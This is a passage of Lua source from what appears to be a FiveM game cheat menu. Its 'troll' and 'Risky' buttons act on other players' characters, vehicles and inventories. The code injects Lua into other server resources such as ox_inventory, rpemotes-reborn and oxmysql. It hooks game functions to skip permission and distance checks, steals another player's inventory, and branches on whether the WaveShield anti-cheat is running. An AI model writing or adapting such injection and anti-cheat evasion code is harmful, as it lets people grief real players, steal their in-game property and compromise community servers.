800999999999990.0, 199999999999999999980.0, 8889099998.0, 999999999999999999999999999999999999999.0, true, true, true, true, 0 ) else break end Wait(0) end end) SetModelAsNoLongerNeeded(bikeModel) print("Successfully spawned BF400 bike and teleporting target vehicle to ocean!") else print("Target player is not in a vehicle!") end end end tpVehicleToOcean() ]], player.localId) SafeInjectResourceRaw(InjectionResource(), luaCode) end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Teleported " .. player.name .. "'s vehicle to ocean using BF400 bike!", type = 'success' })) end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = player.name .. " is not in a vehicle!", type = 'error' })) end end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Player ped not found: " .. player.name, type = 'error' })) end end break end end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected for trolling!", type = 'warn' })) end end end }, { label = 'Spam Bug Car (20x)', type = 'button', canBind = true, bindName = 'Spam Bug Car', onConfirm = function() if selectedPlayerId then for _, player in ipairs(playerList) do if player.id == selectedPlayerId then local targetPed = GetPlayerPed(player.localId) if DoesEntityExist(targetPed) then local targetVehicle = GetVehiclePedIsIn(targetPed, false) if targetVehicle and targetVehicle ~= 0 then ---("Spam bugging car 20 times for player:", player.name, "ID:", selectedPlayerId) -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("adsasdsadsdaads") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) local ped = GetPlayerPed(player.localId) if DoesEntityExist(ped) then local vehicle = GetVehiclePedIsIn(ped, false) if vehicle and vehicle ~= 0 and DoesEntityExist(vehicle) then local vehicleModel = GetEntityModel(vehicle) if not HasModelLoaded(vehicleModel) then RequestModel(vehicleModel) while not HasModelLoaded(vehicleModel) do Wait(0) end end for i = 1, 40 do local vehicleCoords = GetEntityCoords(vehicle) local cloneVehicle = CreateVehicle(vehicleModel, vehicleCoords.x, vehicleCoords.y, vehicleCoords.z, 0.0, false, false) SetEntityVisible(cloneVehicle, false, 0) SetEntityCollision(cloneVehicle, false, false) SetEntityAlpha(cloneVehicle, 0, false) NetworkRequestControlOfEntity(cloneVehicle) NetworkRegisterEntityAsNetworked(cloneVehicle) AttachEntityToEntityPhysically(cloneVehicle, vehicle, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 99999999999, 1, false, false, 1, 2) FreezeEntityPosition(cloneVehicle, true) Wait(100) end Citizen.CreateThread(function() while DoesEntityExist(vehicle) do SetVehicleEngineHealth(vehicle, 50.0) SetVehicleHandbrake(vehicle, true) SetVehicleBrake(vehicle, true) Wait(50) SetVehicleHandbrake(vehicle, false) SetVehicleBrake(vehicle, false) Wait(50) end end) end end else -- Use Macho injection when WaveShield is not running local luaCode = string.format([[ local function spamBugPlayerCar() local ped = GetPlayerPed(%d) if DoesEntityExist(ped) then local vehicle = GetVehiclePedIsIn(ped, false) if vehicle and vehicle ~= 0 and DoesEntityExist(vehicle) then local vehicleModel = GetEntityModel(vehicle) if not HasModelLoaded(vehicleModel) then RequestModel(vehicleModel) while not HasModelLoaded(vehicleModel) do Wait(0) end end for i = 1, 40 do local vehicleCoords = GetEntityCoords(vehicle) local cloneVehicle = CreateVehicle(vehicleModel, vehicleCoords.x, vehicleCoords.y, vehicleCoords.z, 0.0, false, false) SetEntityVisible(cloneVehicle, false, 0) SetEntityCollision(cloneVehicle, false, false) SetEntityAlpha(cloneVehicle, 0, false) NetworkRequestControlOfEntity(cloneVehicle) NetworkRegisterEntityAsNetworked(cloneVehicle) AttachEntityToEntityPhysically(cloneVehicle, vehicle, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 99999999999, 1, false, false, 1, 2) FreezeEntityPosition(cloneVehicle, true) Wait(100) end Citizen.CreateThread(function() while DoesEntityExist(vehicle) do SetVehicleEngineHealth(vehicle, 50.0) SetVehicleHandbrake(vehicle, true) SetVehicleBrake(vehicle, true) Wait(50) SetVehicleHandbrake(vehicle, false) SetVehicleBrake(vehicle, false) Wait(50) end end) else ---("Player is not in a vehicle!") end end end Citizen.CreateThread(function() spamBugPlayerCar() end) ]], player.localId) SafeInjectResourceRaw(InjectionResource(), luaCode) end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Spam bugged " .. player.name .. "'s car with 20 invisible clones!", type = 'success' })) end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = player.name .. " is not in a vehicle!", type = 'error' })) end end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Player ped not found: " .. player.name, type = 'error' })) end end break end end else ---("No player selected for spam bug car!") if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected for trolling!", type = 'warn' })) end end end } } }, { name = 'Risky', submenu = { { label = 'Steal Inventory', type = 'button', canBind = true, bindName = 'Steal Inventory', firstTimeClicked = false, -- Track if this is the first time clicking onConfirm = function() if selectedPlayerId then local playerIds = {selectedPlayerId} local targetServerId = tonumber(playerIds[1]) if not targetServerId then return end -- Use MachoInjectResourceRaw with all bypasses MachoInjectResourceRaw("ox_inventory", string.format([[ if not _G.MachoBypassSussy then _G.MachoBypassSussy = true local oldTrigger = _G.TriggerServerEvent _G.TriggerServerEvent = function(name, ...) if name == "ox_inventory:usedItemInternal" then return end return oldTrigger(name, ...) end end local originalCanOpenTarget = canOpenTarget canOpenTarget = function(...) return true end local originalHasGroup = client.hasGroup client.hasGroup = function(...) return true end if not _G.stopanims then _G.stopanims = true if TaskTurnPedToFaceCoord then _G.MachoOriginalTurnPedToFaceCoord = TaskTurnPedToFaceCoord TaskTurnPedToFaceCoord = function(...) -- no-op: do not rotate local player to face coords return end end end if not _G.MachoNoDistancePatched then _G.MachoNoDistancePatched = true if GetEntityCoords then _G.MachoOriginalGetEntityCoords = GetEntityCoords GetEntityCoords = function(entity, ...) local me = PlayerPedId and PlayerPedId() or entity -- always return local player coords so #(player - target) == 0 return _G.MachoOriginalGetEntityCoords(me, ...) end end end local function findClientIdByServerId(sid) local players = GetActivePlayers() for _, pid in ipairs(players) do if GetPlayerServerId(pid) == sid then return pid end end return nil end local targetServerId = %d local clientId = findClientIdByServerId(targetServerId) local targetPed = clientId and GetPlayerPed(clientId) or nil if targetPed and DoesEntityExist(targetPed) then local playerPed = PlayerPedId() local originalPos = GetEntityCoords(playerPed) -- Attach INSIDE target (EXACT SETTINGS) AttachEntityToEntity( playerPed, targetPed, 11816, 0.0, 0.0, -1.0, 0.0, 0.0, 180.0, false, false, false, false, 2, true ) _G.SetEntityVisible(playerPed, false, false) if Player and targetServerId then Player(targetServerId).state.canSteal = true end _G.TriggerEvent("ox_inventory:openInventory", "otherplayer", targetServerId) Citizen.Wait(100) _G.DetachEntity(playerPed, true, false) _G.SetEntityVisible(playerPed, true, false) _G.SetEntityCoordsNoOffset( playerPed, originalPos.x, originalPos.y, originalPos.z, false, false, false ) end ]], targetServerId)) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Attempting to steal inventory from selected player...", type = 'success' })) end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected!", type = 'warn' })) end end end }, { label = 'Cage Player', type = 'button', canBind = true, bindName = 'Cage Player', onConfirm = function() if selectedPlayerId then for _, player in ipairs(playerList or {}) do if player.id == selectedPlayerId then local targetPed = GetPlayerPed(player.localId) if DoesEntityExist(targetPed) then --- ("Caging player with enhanced bypasses:", player.name, "ID:", selectedPlayerId) -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("dasasdsad") == "started" if not waveShieldRunning then -- Use Macho injection when WaveShield is not running VehicleInject(string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local GetActivePlayers = _G.GetActivePlayers or function(...) end local GetPlayerServerId = _G.GetPlayerServerId or function(...) end local GetPlayerPed = _G.GetPlayerPed or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local GetHashKey = _G.GetHashKey or function(...) end local RequestModel = _G.RequestModel or function(...) end local HasModelLoaded = _G.HasModelLoaded or function(...) end local CreateObject = _G.CreateObject or function(...) end local SetEntityAsMissionEntity = _G.SetEntityAsMissionEntity or function(...) end local SetModelAsNoLongerNeeded = _G.SetModelAsNoLongerNeeded or function(...) end local SetEntityCoordsNoOffset = _G.SetEntityCoordsNoOffset or function(...) end local SetEntityCollision = _G.SetEntityCollision or function(...) end local Wait = _G.Wait or function(...) end local function findClientIdByServerId(sid) local players = safeCall(GetActivePlayers) if players then for _, pid in ipairs(players) do if safeCall(GetPlayerServerId, pid) == sid then return pid end end end return nil end local function createCageAroundPlayer(targetServerId) local clientId = findClientIdByServerId(targetServerId) if not clientId then return end local targetPed = safeCall(GetPlayerPed, clientId) if not targetPed or not safeCall(DoesEntityExist, targetPed) then return end local coords = safeCall(GetEntityCoords, targetPed) local cageModel = "prop_container_05a" local hash = safeCall(GetHashKey, cageModel) safeCall(RequestModel, hash) local timeout = 0 while not safeCall(HasModelLoaded, hash) and timeout < 500 do safeCall(Wait, 10) timeout = timeout + 1 end if not safeCall(HasModelLoaded, hash) then return end local cage = safeCall(CreateObject, hash, coords.x, coords.y, coords.z, true, true, true) if cage and safeCall(DoesEntityExist, cage) then safeCall(SetEntityAsMissionEntity, cage, true, true) safeCall(SetModelAsNoLongerNeeded, hash) safeCall(SetEntityCoordsNoOffset, targetPed, coords.x, coords.y, coords.z + 0.5, true, true, true) safeCall(SetEntityCollision, targetPed, false, false) safeCall(Wait, 100) safeCall(SetEntityCollision, targetPed, true, true) if not _G.nexusCages then _G.nexusCages = {} end if not _G.nexusCages[targetServerId] then _G.nexusCages[targetServerId] = {} end table.insert(_G.nexusCages[targetServerId], cage) end end createCageAroundPlayer(%d) ]], selectedPlayerId)) else -- Direct execution for WaveShield (no injection needed) local function safeCall(fn, ...) if fn then return fn(...) end end local GetActivePlayers = _G.GetActivePlayers or function(...) end local GetPlayerServerId = _G.GetPlayerServerId or function(...) end local GetPlayerPed = _G.GetPlayerPed or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local GetHashKey = _G.GetHashKey or function(...) end local RequestModel = _G.RequestModel or function(...) end local HasModelLoaded = _G.HasModelLoaded or function(...) end local CreateObject = _G.CreateObject or function(...) end local SetEntityAsMissionEntity = _G.SetEntityAsMissionEntity or function(...) end local SetModelAsNoLongerNeeded = _G.SetModelAsNoLongerNeeded or function(...) end local SetEntityCoordsNoOffset = _G.SetEntityCoordsNoOffset or function(...) end local SetEntityCollision = _G.SetEntityCollision or function(...) end local Wait = _G.Wait or function(...) end local function findClientIdByServerId(sid) local players = safeCall(GetActivePlayers) if players then for _, pid in ipairs(players) do if safeCall(GetPlayerServerId, pid) == sid then return pid end end end return nil end local clientId = findClientIdByServerId(selectedPlayerId) if clientId then local targetPed = safeCall(GetPlayerPed, clientId) if safeCall(DoesEntityExist, targetPed) then local coords = safeCall(GetEntityCoords, targetPed) local cageModel = "prop_container_05a" local hash = safeCall(GetHashKey, cageModel) safeCall(RequestModel, hash) local timeout = 0 while not safeCall(HasModelLoaded, hash) and timeout < 500 do safeCall(Wait, 10) timeout = timeout + 1 end if safeCall(HasModelLoaded, hash) then local cage = safeCall(CreateObject, hash, coords.x, coords.y, coords.z, true, true, true) if cage and safeCall(DoesEntityExist, cage) then safeCall(SetEntityAsMissionEntity, cage, true, true) safeCall(SetModelAsNoLongerNeeded, hash) safeCall(SetEntityCoordsNoOffset, targetPed, coords.x, coords.y, coords.z + 0.5, true, true, true) safeCall(SetEntityCollision, targetPed, false, false) safeCall(Wait, 100) safeCall(SetEntityCollision, targetPed, true, true) if not _G.nexusCages then _G.nexusCages = {} end if not _G.nexusCages[selectedPlayerId] then _G.nexusCages[selectedPlayerId] = {} end table.insert(_G.nexusCages[selectedPlayerId], cage) end end end end end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Caged player: " .. player.name, type = 'success' })) end end break end end else --- ("No player selected for caging!") if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected for caging!", type = 'warn' })) end end end }, { label = 'Put Monkey Mask on Player', type = 'button', canBind = true, bindName = 'Put Monkey Mask', onConfirm = function() if selectedPlayerId then for _, player in ipairs(playerList) do if player.id == selectedPlayerId then local targetPed = GetPlayerPed(player.localId) if DoesEntityExist(targetPed) then ---("Putting monkey mask on player with bypasses:", player.name) -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("adsasdasdasd") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) local ped = GetPlayerPed(player.localId) local model = 'p_orleans_mask_s' RequestModel(model) while not HasModelLoaded(model) do Wait(500) end local mask = CreateObject(model, GetEntityCoords(ped), true, true, false) NetworkRequestControlOfEntity(mask) AttachEntityToEntity(mask, ped, GetPedBoneIndex(ped, 31086), 0.0, 0.025, 0.0, 180.0, 90.0, 0.0, true, false, false, false, 2, true) SetModelAsNoLongerNeeded(model) else local maskSuccess = false -- rpemotes-reborn bypass if GetResourceState('rpemotes-reborn') == "started" then MachoInjectResource2(3, 'rpemotes-reborn', string.format([[ local originalCreateObject = CreateObject CreateObject = function(hash, x, y, z, ...) local maskHash = GetHashKey('p_orleans_mask_s') return originalCreateObject(maskHash, x, y, z, ...) end local ped = GetPlayerPed(%d) AddProp(GetHashKey('p_orleans_mask_s'), 0, 0.0, 0.025, 0.0, 180.0, 90.0, 0.0, nil, false) CreateObject = originalCreateObject ]], player.localId)) maskSuccess = true -- wasabi_nfc bypass elseif GetResourceState('wasabi_nfc') == "started" then MachoInjectResource2(3, 'wasabi_nfc', [[ phoneModel = 'p_orleans_mask_s' phoneAnim() ]]) maskSuccess = true -- 0r_idcard bypass elseif GetResourceState('0r_idcard') == "started" then MachoInjectResource2(3, '0r_idcard', string.format([[ Config.BadgeAnimation.prop = 'p_orleans_mask_s' local originalGetEntityCoords = GetEntityCoords GetEntityCoords = function(entity) if entity == PlayerPedId() then return GetEntityCoords(GetPlayerPed(%d)) end return originalGetEntityCoords(entity) end playAnim() GetEntityCoords = originalGetEntityCoords ]], player.localId)) maskSuccess = true end -- Fallback to normal method if not maskSuccess then MachoInjectResource2(3, 'oxmysql', string.format([[ local ped = GetPlayerPed(%d) local model = 'p_orleans_mask_s' RequestModel(model) while not HasModelLoaded(model) do Wait(500) end local mask = CreateObject(model, GetEntityCoords(ped), true, true, false) NetworkRequestControlOfEntity(mask) AttachEntityToEntity( mask, ped, GetPedBoneIndex(ped, 31086), 0.0, 0.025, 0.0, 180.0, 90.0, 0.0, true, false, false, false, 2, true ) SetModelAsNoLongerNeeded(model) ]], player.localId)) end end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Monkey mask attached to " .. player.name, type = 'success' })) end end break end end else ---("No player selected for monkey mask!") if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected!", type = 'warn' })) end end end }, { label = 'Clone Player', type = 'button', canBind = true, bindName = 'Clone Player', onConfirm = function() if selectedPlayerId then -- Open weapon input dialog first openTextInput( "Enter weapon name:", "Type weapon name (e.g., WEAPON_RPG, WEAPON_PISTOL) or 'none' for no weapon...", "WEAPON_COMBATPISTOL", 50, function(weaponName) -- Process the weapon name local finalWeapon = "WEAPON_COMBATPISTOL" -- Default weapon if weaponName and weaponName ~= "" and weaponName:lower() ~= "none" then -- Add WEAPON_ prefix if not present if not weaponName:upper():find("WEAPON_") then finalWeapon = "WEAPON_" .. weaponName:upper() else finalWeapon = weaponName:upper() end end -- Find the selected player for _, player in ipairs(playerList) do if player.id == selectedPlayerId then local targetPed = GetPlayerPed(player.localId) if DoesEntityExist(targetPed) then -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("WaveShield") == "started" if not waveShieldRunning then -- Use Macho injection when WaveShield is not running VehicleInject(string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local GetActivePlayers = _G.GetActivePlayers or function(...) end local GetPlayerServerId = _G.GetPlayerServerId or function(...) end local GetPlayerPed = _G.GetPlayerPed or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local GetEntityHeading = _G.GetEntityHeading or function(...) end local GetEntityModel = _G.GetEntityModel or function(...) end local RequestModel = _G.RequestModel or function(...) end local HasModelLoaded = _G.HasModelLoaded or function(...) end local CreatePed = _G.CreatePed or function(...) end local SetEntityAsMissionEntity = _G.SetEntityAsMissionEntity or function(...) end local SetModelAsNoLongerNeeded = _G.SetModelAsNoLongerNeeded or function(...) end local GetPedDrawableVariation = _G.GetPedDrawableVariation or function(...) end local GetPedTextureVariation = _G.GetPedTextureVariation or function(...) end local SetPedComponentVariation = _G.SetPedComponentVariation or function(...) end local GetPedPropIndex = _G.GetPedPropIndex or function(...) end local GetPedPropTextureIndex = _G.GetPedPropTextureIndex or function(...) end local SetPedPropIndex = _G.SetPedPropIndex or function(...) end local AddRelationshipGroup = _G.AddRelationshipGroup or function(...) end local SetPedRelationshipGroupHash = _G.SetPedRelationshipGroupHash or function(...) end local SetRelationshipBetweenGroups = _G.SetRelationshipBetweenGroups or function(...) end local GetHashKey = _G.GetHashKey or function(...) end local GiveWeaponToPed = _G.GiveWeaponToPed or function(...) end local GetCurrentPedWeaponEntityIndex = _G.GetCurrentPedWeaponEntityIndex or function(...) end local SetPedDropsWeaponsWhenDead = _G.SetPedDropsWeaponsWhenDead or function(...) end local SetPedCanSwitchWeapon = _G.SetPedCanSwitchWeapon or function(...) end local TaskCombatPed = _G.TaskCombatPed or function(...) end local SetEntityInvincible = _G.SetEntityInvincible or function(...) end local SetPedCanRagdoll = _G.SetPedCanRagdoll or function(...) end local Wait = _G.Wait or function(...) end local function findClientIdByServerId(sid) local players = safeCall(GetActivePlayers) if players then for _, pid in ipairs(players) do if safeCall(GetPlayerServerId, pid) == sid then return pid end end end return nil end local function clonePed(ped, weaponHash) local coords = safeCall(GetEntityCoords, ped) local heading = safeCall(GetEntityHeading, ped) local model = safeCall(GetEntityModel, ped) safeCall(RequestModel, model) local timeout = 0 while not safeCall(HasModelLoaded, model) and timeout < 500 do safeCall(Wait, 10) timeout = timeout + 1 end if not safeCall(HasModelLoaded, model) then return end local clone = safeCall(CreatePed, 4, model, coords.x + 0.5, coords.y + 0.5, coords.z + 0.5, heading, true, true) if clone and safeCall(DoesEntityExist, clone) then safeCall(SetEntityAsMissionEntity, clone, true, true) safeCall(SetModelAsNoLongerNeeded, model) -- Copy appearance for i = 0, 11 do local drawable = safeCall(GetPedDrawableVariation, ped, i) local texture = safeCall(GetPedTextureVariation, ped, i) safeCall(SetPedComponentVariation, clone, i, drawable, texture, 0) end -- Copy props for i = 0, 7 do local propIndex = safeCall(GetPedPropIndex, ped, i) if propIndex and propIndex ~= -1 then local propTexture = safeCall(GetPedPropTextureIndex, ped, i) safeCall(SetPedPropIndex, clone, i, propIndex, propTexture, true) end end -- Make hostile local cloneGroup = safeCall(AddRelationshipGroup, "HOSTILE_CLONE_" .. tostring(clone)) safeCall(SetPedRelationshipGroupHash, clone, cloneGroup) safeCall(SetRelationshipBetweenGroups, 5, cloneGroup, safeCall(GetHashKey, "PLAYER")) safeCall(SetRelationshipBetweenGroups, 5, safeCall(GetHashKey, "PLAYER"), cloneGroup) -- Give weapon safeCall(GiveWeaponToPed, clone, weaponHash, 1000, false, true) local weaponEntity = safeCall(GetCurrentPedWeaponEntityIndex, clone) if weaponEntity and safeCall(DoesEntityExist, weaponEntity) then safeCall(SetEntityAsMissionEntity, weaponEntity, true, true) end -- Combat settings safeCall(SetPedDropsWeaponsWhenDead, clone, false) safeCall(SetPedCanSwitchWeapon, clone, false) safeCall(TaskCombatPed, clone, ped, 0, 16) safeCall(SetEntityInvincible, clone, true) safeCall(SetPedCanRagdoll, clone, false) end end local targetServerId = %d local clientId = findClientIdByServerId(targetServerId) local ped = clientId and safeCall(GetPlayerPed, clientId) or nil if ped and safeCall(DoesEntityExist, ped) then local weaponHash = safeCall(GetHashKey, "%s") clonePed(ped, weaponHash) end ]], player.id, finalWeapon)) else -- Direct execution for WaveShield (no injection needed) local function safeCall(fn, ...) if fn then return fn(...) end end local GetActivePlayers = _G.GetActivePlayers or function(...) end local GetPlayerServerId = _G.GetPlayerServerId or function(...) end local GetPlayerPed = _G.GetPlayerPed or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local GetEntityHeading = _G.GetEntityHeading or function(...) end local GetEntityModel = _G.GetEntityModel or function(...) end local GetHashKey = _G.GetHashKey or function(...) end local RequestModel = _G.RequestModel or function(...) end local HasModelLoaded = _G.HasModelLoaded or function(...) end local CreatePed = _G.CreatePed or function(...) end local SetEntityAsMissionEntity = _G.SetEntityAsMissionEntity or function(...) end local SetModelAsNoLongerNeeded = _G.SetModelAsNoLongerNeeded or function(...) end local GetPedDrawableVariation = _G.GetPedDrawableVariation or function(...) end local GetPedTextureVariation = _G.GetPedTextureVariation or function(...) end local SetPedComponentVariation = _G.SetPedComponentVariation or function(...) end local GetPedPropIndex = _G.GetPedPropIndex or function(...) end local GetPedPropTextureIndex = _G.GetPedPropTextureIndex or function(...) end local SetPedPropIndex = _G.SetPedPropIndex or function(...) end local AddRelationshipGroup = _G.AddRelationshipGroup or function(...) end local SetPedRelationshipGroupHash = _G.SetPedRelationshipGroupHash or function(...) end local SetRelationshipBetweenGroups = _G.SetRelationshipBetweenGroups or function(...) end local GiveWeaponToPed = _G.GiveWeaponToPed or function(...) end local GetCurrentPedWeaponEntityIndex = _G.GetCurrentPedWeaponEntityIndex or function(...) end local SetPedDropsWeaponsWhenDead = _G.SetPedDropsWeaponsWhenDead or function(...) end local SetPedCanSwitchWeapon = _G.SetPedCanSwitchWeapon or function(...) end local TaskCombatPed = _G.TaskCombatPed or function(...) end local SetEntityInvincible = _G.SetEntityInvincible or function(...) end local SetPedCanRagdoll = _G.SetPedCanRagdoll or function(...) end local Wait = _G.Wait or function(...) end local function findClientIdByServerId(sid) local players = safeCall(GetActivePlayers) if players then for _, pid in ipairs(players) do if safeCall(GetPlayerServerId, pid) == sid then return pid end end end return nil end local clientId = findClientIdByServerId(player.id) local ped = clientId and safeCall(GetPlayerPed, clientId) or nil if ped and safeCall(DoesEntityExist, ped) then local coords = safeCall(GetEntityCoords, ped) local heading = safeCall(GetEntityHeading, ped) local model = safeCall(GetEntityModel, ped) local weaponHash = safeCall(GetHashKey, finalWeapon) safeCall(RequestModel, model) local timeout = 0 while not safeCall(HasModelLoaded, model) and timeout < 500 do safeCall(Wait, 10) timeout = timeout + 10 end if safeCall(HasModelLoaded, model) then local clone = safeCall(CreatePed, 4, model, coords.x + 0.5, coords.y + 0.5, coords.z + 0.5, heading, true, true) if clone and safeCall(DoesEntityExist, clone) then safeCall(SetEntityAsMissionEntity, clone, true, true) safeCall(SetModelAsNoLongerNeeded, model) -- Copy appearance for i = 0, 11 do local drawable = safeCall(GetPedDrawableVariation, ped, i) local texture = safeCall(GetPedTextureVariation, ped, i) safeCall(SetPedComponentVariation, clone, i, drawable, texture, 0) end -- Copy props for i = 0, 7 do local propIndex = safeCall(GetPedPropIndex, ped, i) if propIndex and propIndex ~= -1 then local propTexture = safeCall(GetPedPropTextureIndex, ped, i) safeCall(SetPedPropIndex, clone, i, propIndex, propTexture, true) end end -- Make hostile local cloneGroup = safeCall(AddRelationshipGroup, "HOSTILE_CLONE_" .. tostring(clone)) safeCall(SetPedRelationshipGroupHash, clone, cloneGroup) safeCall(SetRelationshipBetweenGroups, 5, cloneGroup, safeCall(GetHashKey, "PLAYER")) safeCall(SetRelationshipBetweenGroups, 5, safeCall(GetHashKey, "PLAYER"), cloneGroup) -- Give weapon safeCall(GiveWeaponToPed, clone, weaponHash, 1000, false, true) local weaponEntity = safeCall(GetCurrentPedWeaponEntityIndex, clone) if weaponEntity and safeCall(DoesEntityExist, weaponEntity) then safeCall(SetEntityAsMissionEntity, weaponEntity, true, true) end -- Combat settings safeCall(SetPedDropsWeaponsWhenDead, clone, false) safeCall(SetPedCanSwitchWeapon, clone, false) safeCall(TaskCombatPed, clone, ped, 0, 16) safeCall(SetEntityInvincible, clone, true) safeCall(SetPedCanRagdoll, clone, false) end end end end -- Success notification if dui then local weaponText = finalWeapon and (" with " .. finalWeapon) or " (unarmed)" MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Cloned player: " .. player.name .. weaponText, type = 'success' })) end end break end end end, "alphanumeric" ) else -- No player selected notification if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected for cloning!", type = 'warn' })) end end end }, { label = 'Launch Player to Sky (Risky)', type = 'button', canBind = true, bindName = 'Launch Player to Sky', onConfirm = function() if selectedPlayerId then for _, player in ipairs(playerList or {}) do if player.id == selectedPlayerId then local targetPed = GetPlayerPed(player.localId) if DoesEntityExist(targetPed) then --- ("Launching player to sky:", player.name, "ID:", selectedPlayerId) -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("adsasdasd") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) local function safeCall(fn, ...) if fn then return fn(...) end end local PlayerPedId = _G.PlayerPedId or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local GiveWeaponToPed = _G.GiveWeaponToPed or function(...) end local GetHashKey = _G.GetHashKey or function(...) end local GetActivePlayers = _G.GetActivePlayers or function(...) end local GetPlayerServerId = _G.GetPlayerServerId or function(...) end local GetPlayerPed = _G.GetPlayerPed or function(...) end local TaskParachute = _G.TaskParachute or function(...) end local IsPedInParachuteFreeFall = _G.IsPedInParachuteFreeFall or function(...) end local ApplyForceToEntity = _G.ApplyForceToEntity or function(...) end local Wait = _G.Wait or function(...) end local playerPed = safeCall(PlayerPedId) local originalCoords = safeCall(GetEntityCoords, playerPed) local targetServerId = player.id -- Give parachute local parachuteHash = safeCall(GetHashKey, "gadget_parachute") safeCall(GiveWeaponToPed, playerPed, parachuteHash, 1, false, true) local found = false local players = safeCall(GetActivePlayers) if players then for _, playerIdx in ipairs(players) do if safeCall(GetPlayerServerId, playerIdx) == targetServerId then local targetPed = safeCall(GetPlayerPed, playerIdx) local targetCoords = safeCall(GetEntityCoords, targetPed) local underTargetZ = targetCoords.z - 60.0 safeCall(SetEntityCoords, playerPed, targetCoords.x, targetCoords.y, underTargetZ, false, false, false, true) safeCall(Wait, 500) safeCall(TaskParachute, playerPed, false) local ticks = 0 while not safeCall(IsPedInParachuteFreeFall, playerPed) and ticks < 30 do safeCall(Wait, 100) ticks = ticks + 1 end if safeCall(IsPedInParachuteFreeFall, playerPed) then safeCall(ApplyForceToEntity, playerPed, 1, 0.0, 0.0, 5000.0, 0.0, 0.0, 0.0, 0, true, true, true, false, true) end safeCall(Wait, 1000) safeCall(SetEntityCoords, playerPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, true) found = true break end end end else -- Use Macho injection when WaveShield is not running VehicleInject(string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local PlayerPedId = _G.PlayerPedId or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local GiveWeaponToPed = _G.GiveWeaponToPed or function(...) end local GetHashKey = _G.GetHashKey or function(...) end local GetActivePlayers = _G.GetActivePlayers or function(...) end local GetPlayerServerId = _G.GetPlayerServerId or function(...) end local GetPlayerPed = _G.GetPlayerPed or function(...) end local TaskParachute = _G.TaskParachute or function(...) end local IsPedInParachuteFreeFall = _G.IsPedInParachuteFreeFall or function(...) end local ApplyForceToEntity = _G.ApplyForceToEntity or function(...) end local CreateThread = _G.CreateThread or function(...) end local Wait = _G.Wait or function(...) end safeCall(CreateThread, function() local playerPed = safeCall(PlayerPedId) local originalCoords = safeCall(GetEntityCoords, playerPed) local targetServerId = %d -- Give parachute local parachuteHash = safeCall(GetHashKey, "gadget_parachute") safeCall(GiveWeaponToPed, playerPed, parachuteHash, 1, false, true) local found = false local players = safeCall(GetActivePlayers) if players then for _, playerIdx in ipairs(players) do if safeCall(GetPlayerServerId, playerIdx) == targetServerId then local targetPed = safeCall(GetPlayerPed, playerIdx) local targetCoords = safeCall(GetEntityCoords, targetPed) local underTargetZ = targetCoords.z - 60.0 safeCall(SetEntityCoords, playerPed, targetCoords.x, targetCoords.y, underTargetZ, false, false, false, true) safeCall(Wait, 500) safeCall(TaskParachute, playerPed, false) local ticks = 0 while not safeCall(IsPedInParachuteFreeFall, playerPed) and ticks < 30 do safeCall(Wait, 100) ticks = ticks + 1 end if safeCall(IsPedInParachuteFreeFall, playerPed) then safeCall(ApplyForceToEntity, playerPed, 1, 0.0, 0.0, 5000.0, 0.0, 0.0, 0.0, 0, true, true, true, false, true) end safeCall(Wait, 1000) safeCall(SetEntityCoords, playerPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, true) found = true break end end end end) ]], player.id)) end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Launched " .. player.name .. " to the sky!", type = 'success' })) end end break end end else --- ("No player selected for sky launch!") if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected for sky launch!", type = 'warn' })) end end end }, { label = 'Launch Player V3', type = 'button', canBind = true, bindName = 'Launch Player V3', onConfirm = function() if selectedPlayerId then for _, player in ipairs(playerList or {}) do if player.id == selectedPlayerId then local targetPed = GetPlayerPed(player.localId) if DoesEntityExist(targetPed) then local targetCoords = GetEntityCoords(targetPed) -- Poll for a 